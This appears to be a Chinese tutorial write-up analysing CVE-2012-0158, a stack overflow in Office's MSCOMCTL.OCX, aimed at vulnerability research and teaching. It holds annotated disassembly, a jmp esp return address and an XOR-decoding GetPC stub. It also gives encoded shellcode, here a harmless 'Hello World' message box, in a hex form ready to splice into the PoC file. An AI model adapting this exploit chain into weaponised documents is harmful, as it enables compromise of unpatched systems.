0x00 漏洞描述

  • CVE-2012-0158 Microsoft Office MSCOMCTL.ocx栈溢出漏洞是Office的经典漏洞,作为Office的入门漏洞,这个漏洞很有学习价值
  • 漏洞成因是由于Microsoft Windows的MSCOMCTL.OCX插件中的MSCOMCTL.TreeViewMSCOMCTL.LstView2MSCOMCTL.TreeView2MSCOMCTL.ListView控件中存在内存拷贝时检查条件错误而造成的栈的缓冲区溢出,导致可被用于执行任意代码。

0x01 分析环境

  • 使用了如下的分析环境:
名称 使用的环境
操作系统 Winodw 7专业版(32位)
虚拟机 VMware
调试器 OllyDbg/WinDbg
反汇编器 IDA Pro
漏洞软件 Office 2003 SP3
Office格式分析工具 OfficeMalScanner

0x02 漏洞分析

复现漏洞

分析漏洞

  • 使用OD进行附加分析,需要先把OD中StringOD和异常选项中忽略的异常全部恢复

分析思路:

  1. 打开Word,使用OD附加进程,word进程名称为WINWORD.EXE,然后加载PoC文件,产生异常,此时EIP为0x41414141,符合前面的异常偏移

  2. 定位到漏洞触发模块,具体做法是通过堆栈查看当前ESP所在位置,回溯栈上的数据,可以发现最近的返回地址位于一个叫做MSCOMCTL模块中的一个地址0x275C8A0A,在反汇编窗口中查看此地址,具体如图所示:

  1. 继续向上查看,在找到函数sub_275C89C7入口,在地址0x275C89C7下断,重新运行word并加载PoC,函数成功断下:

​ 同时可以查看模块找到MSCOMCTL.OCX模块地址为C:\Windows\System32\MSCOMCTL.OCX,有了模块路径后就可以使用IDA配合OD进行分析,因为这个模块是动态加载的,两者结合分析更棒哦

​ 之后对EBP+4也就是函数返回地址下内存写入断点,F9运行,找到对栈进行溢出填充的地方

​ 发现成功断在函数sub_275C876D内部,断点位置为0x275C87CB

  1. OD函数调用传参和使用IDA中对函数sub_275C876D进行分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
.text:275C876D var_4           = dword ptr -4
.text:275C876D arg_0 = dword ptr 8
.text:275C876D lpMem = dword ptr 0Ch
.text:275C876D dwBytes = dword ptr 10h

.text:275C876D push ebp
.text:275C876E mov ebp, esp
.text:275C8770 push ecx
.text:275C8771 push ebx
.text:275C8772 mov ebx, [ebp+lpMem]
.text:275C8775 push esi
.text:275C8776 xor esi, esi
.text:275C8778 mov eax, [ebx]
.text:275C877A push edi
.text:275C877B push esi
.text:275C877C lea ecx, [ebp+var_4]
.text:275C877F push 4
.text:275C8781 push ecx
.text:275C8782 push ebx
.text:275C8783 call dword ptr [eax+0Ch]
.text:275C8786 cmp eax, esi
.text:275C8788 jl short loc_275C8802
.text:275C878A mov edi, [ebp+dwBytes]
.text:275C878D cmp [ebp+var_4], edi
.text:275C8790 jnz loc_275D3F93
.text:275C8796 push edi ; dwBytes
.text:275C8797 push esi ; dwFlags
.text:275C8798 push hHeap ; hHeap
.text:275C879E call ds:HeapAlloc
.text:275C87A4 cmp eax, esi
.text:275C87A6 mov [ebp+lpMem], eax
.text:275C87A9 jz loc_275D3F9D
.text:275C87AF mov ecx, [ebx]
.text:275C87B1 push esi
.text:275C87B2 push edi
.text:275C87B3 push eax
.text:275C87B4 push ebx
.text:275C87B5 call dword ptr [ecx+0Ch]
.text:275C87B8 mov esi, eax
.text:275C87BA test esi, esi
.text:275C87BC jl short loc_275C87EF
.text:275C87BE mov esi, [ebp+lpMem]
.text:275C87C1 mov ecx, edi
.text:275C87C3 mov edi, [ebp+arg_0];栈地址,只有0x8字节剩余
.text:275C87C6 mov eax, ecx
.text:275C87C8 shr ecx, 2
.text:275C87CB rep movsd ; 此处就是断点位置
.text:275C87CB ; 分析发现就是此处循环复制数据到栈上使得栈溢出
.text:275C87CD mov ecx, eax
.text:275C87CF mov eax, [ebp+dwBytes]
.text:275C87D2 and ecx, 3
.text:275C87D5 push 0
.text:275C87D7 lea edx, [eax+3]
.text:275C87DA and edx, 0FFFFFFFCh
.text:275C87DD sub edx, eax
.text:275C87DF rep movsb
.text:275C87E1 mov ecx, [ebx]
.text:275C87E3 push edx
.text:275C87E4 push offset unk_27632368
.text:275C87E9 push ebx
.text:275C87EA call dword ptr [ecx+0Ch]
.text:275C87ED mov esi, eax
.text:275C87EF
.text:275C87EF loc_275C87EF: ; CODE XREF: sub_275C876D+4Fj
.text:275C87EF push [ebp+lpMem] ; lpMem
.text:275C87F2 push 0 ; dwFlags
.text:275C87F4 push hHeap ; hHeap
.text:275C87FA call ds:HeapFree
.text:275C8800 mov eax, esi
.text:275C8802
.text:275C8802 loc_275C8802: ; CODE XREF: sub_275C876D+1Bj
.text:275C8802 ; sub_275C876D+B82Bj ...
.text:275C8802 pop edi
.text:275C8803 pop esi
.text:275C8804 pop ebx
.text:275C8805 leave
.text:275C8806 retn
.text:275C8806 sub_275C876D endp
  1. 总结

    综上分析,可以发现在函数sub_275C89C7中一共开辟了0x14的局部栈空间,在函数sub_275C876D之前使用了0xC的栈空间,所以函数内部供使用的栈空间为0x8字节,而由于在函数sub_275C876D中复制的大小超过了0x8字节,所以导致了栈溢出漏洞。这里还有个有趣的是读取的长度也可以通过doc文件中构建,所以修改长度和内容就可以肆意的溢出了

0x03 漏洞利用

PoC分析

  • 用010打开PoC,分析是doc文件中那一部分字段进行了溢出,可以搜索0x41414141找到溢出点,进行分析:

  • 之后完成一个简单的利用,弹出窗口
    • 首先在OD中找到MessageBoxA的地址0x7611EA71,然后修改溢出点代码,弹出窗口

漏洞高级利用

  • 使用windbg+mona+pykd.pyd的组合,利用GetPc技术,构造ShellCode弹出Hello World
    • 打开windbg附加word后,使用命令.load pykd.pyd!py mona开启mona,之后使用!py mona find -s "\xff\xe4" -m msvbvm60.dll”找到一个Rebase、SageSEH、ASLR.NXCompat为False,而OS DLL为True的系统模块,获取到的jmp esp地址0x729A0535

  • 之后构造一段加密的ShellCode,构造好的ShellCode分为两部分,最开始为解密代码,之后为HelloWord窗口弹出ShellCode:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//解密代码可以使用如下的代码
__asm {
"\x33\xC0" \ // xor eax,eax
"\xE8\xFF\xFF\xFF\xFF" \ // call 0xFFFFFFFF
"\xC3" \ // retn
"\x58" \ // pop eax ;eax=GetPc
"\x8D\x70\x1B" \ // lea esi,[eax+0x17] ;esi=Shellcode
"\x33\xC9" \ // xor ecx,ecx ;ecx=循环计数器
"\x66\xB9\x95\x01" \ // mov cx,0x0195 ;cx =She..体积
//tag_Decode:
"\x8A\x04\x0E" \ // mov al,[esi+ecx] ;al =解密前字节
"\x34\x13" \ // xor al,0x13 ;0x05为Key
"\x88\x04\x0E" \ // mov [esi+ecx],al
"\xE2\xF6" \ // loop tag_Decode
"\x80\x34\x0E\x13" \ // xor [esi+ecx],0x13 ;解密最后一字节
"\xFF\xE6" \ // jmp esi ;跳到Shellcode
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//加密后的shellcode为
/* Encode Key=0x13 */
char bShellcode[] = \
"\x73\x90\xFF\x43\xF8\x49\x56\x6B\x7A\x67\x43\x61\x7C\x70\x76\x60" \
"\x60\x13\x5B\x76\x7F\x7F\x7C\x33\x44\x7C\x61\x7F\x77\x32\x13\x56" \
"\x6B\x7A\x67\x43\x61\x7C\x70\x76\x60\x60\x13\x5E\x76\x60\x60\x72" \
"\x74\x76\x51\x7C\x6B\x52\x13\x46\x60\x76\x61\x20\x21\x3D\x77\x7F" \
"\x7F\x13\x5F\x7C\x72\x77\x5F\x7A\x71\x61\x72\x61\x6A\x56\x6B\x52" \
"\x13\x54\x76\x67\x43\x61\x7C\x70\x52\x77\x77\x61\x76\x60\x60\x13" \
"\xFB\x13\x13\x13\x13\x48\x77\x98\x26\x23\x13\x13\x13\x98\x65\x1F" \
"\x98\x65\x0F\x98\x25\x98\x45\x1B\x41\x40\x40\x41\xFB\x7C\x13\x13" \
"\x13\x48\x49\x41\x43\x9E\x58\xCE\x42\x41\xEC\xC3\x4A\x49\x41\x40" \
"\x43\x42\xFB\x13\x13\x13\x13\x46\x98\xFF\x90\xFF\x1F\x98\x4E\x03" \
"\x9E\x58\xC1\x79\x13\x79\x13\x42\xEC\x46\x1F\x9E\x46\xEF\x9A\x11" \
"\x98\x4E\x03\x9E\x58\xD5\x42\xEC\x66\xEF\xEC\x46\x1B\x9E\x46\xEB" \
"\x9A\x11\x98\x4E\x03\x9E\x58\xB2\x42\xEC\x66\x07\x98\x56\x1B\xEC" \
"\xC3\x9E\x46\xE7\x9A\x11\x98\x4E\x03\x9E\x58\xBE\x79\x13\x42\x42" \
"\x79\x13\xEC\x46\xEB\x79\x13\xEC\x46\xE7\x98\xF6\x4E\xD1\x03\x13" \
"\x46\x98\xFF\x90\xFF\x1F\x98\x46\x1B\x98\x61\x2F\x10\xE1\x98\x65" \
"\x6B\x10\xE1\x98\x6D\x0F\x10\xE9\x9A\x6E\xEF\x98\x6D\x33\x10\xE9" \
"\x9A\x6E\xEB\x98\x6D\x37\x10\xE9\x9A\x6E\xE7\x20\xDA\x42\x98\x56" \
"\xEB\x98\x17\x9B\x10\x56\x1B\x43\x98\x4E\x1F\x90\xF8\x07\x40\xFB" \
"\x33\x13\x13\x13\x4A\x96\xD3\x66\x10\x52\xF8\xF2\x98\x56\xE7\x20" \
"\xEC\x75\x98\x2F\x5B\x98\x46\xEF\x98\x17\xA9\x10\x56\x1B\x98\xF6" \
"\x4E\xD1\x1B\x13\x46\x98\xFF\x20\xD3\xAA\xEC\xEC\xEC\xEC\x98\x6E" \
"\x1B\xE1\xBD\xE4\xC2\x98\xCA\x20\xD3\xAA\xEC\xEC\xEC\xEC\x98\x6E" \
"\x1F\xE1\xBD\xE4\xC2\x28\xD8\x66\x01\x98\x66\x1F\x98\x6E\x1B\xEF" \
"\xE0\xB5\x66\x14\xAB\x12\x13\x13\x13\xF8\x11\x20\xD3\x98\xF6\x4E" \
"\xD1\x1B\x13\x13";
  • 将上述ShellCode转换为如下文本形式,然后对PoC中的内容进行填充,填充完毕运行
1
33C0E8FFFFFFFFC3588D701B33C966B995018A040E341388040EE2F680340E13FFE67390FF43F849566B7A6743617C70766060135B767F7F7C33447C617F773213566B7A6743617C70766060135E766060727476517C6B52134660766120213D777F7F135F7C72775F7A716172616A566B521354766743617C705277776176606013FB13131313487798262313131398651F98650F982598451B41404041FB7C131313484941439E58CE4241ECC34A4941404342FB131313134698FF90FF1F984E039E58C17913791342EC461F9E46EF9A11984E039E58D542EC66EFEC461B9E46EB9A11984E039E58B242EC660798561BECC39E46E79A11984E039E58BE791342427913EC46EB7913EC46E798F64ED103134698FF90FF1F98461B98612F10E198656B10E1986D0F10E99A6EEF986D3310E99A6EEB986D3710E99A6EE720DA429856EB98179B10561B43984E1F90F80740FB331313134A96D3661052F8F29856E720EC75982F5B9846EF9817A910561B98F64ED11B134698FF20D3AAECECECEC986E1BE1BDE4C298CA20D3AAECECECEC986E1FE1BDE4C228D8660198661F986E1BEFE0B56614AB12131313F81120D398F64ED11B1313FF

  • 使用OD附加调试,对jmp esp地址0x729A0535下断,加载新的PoC运行:

  • 然后继续运行,完美弹出Hello World窗口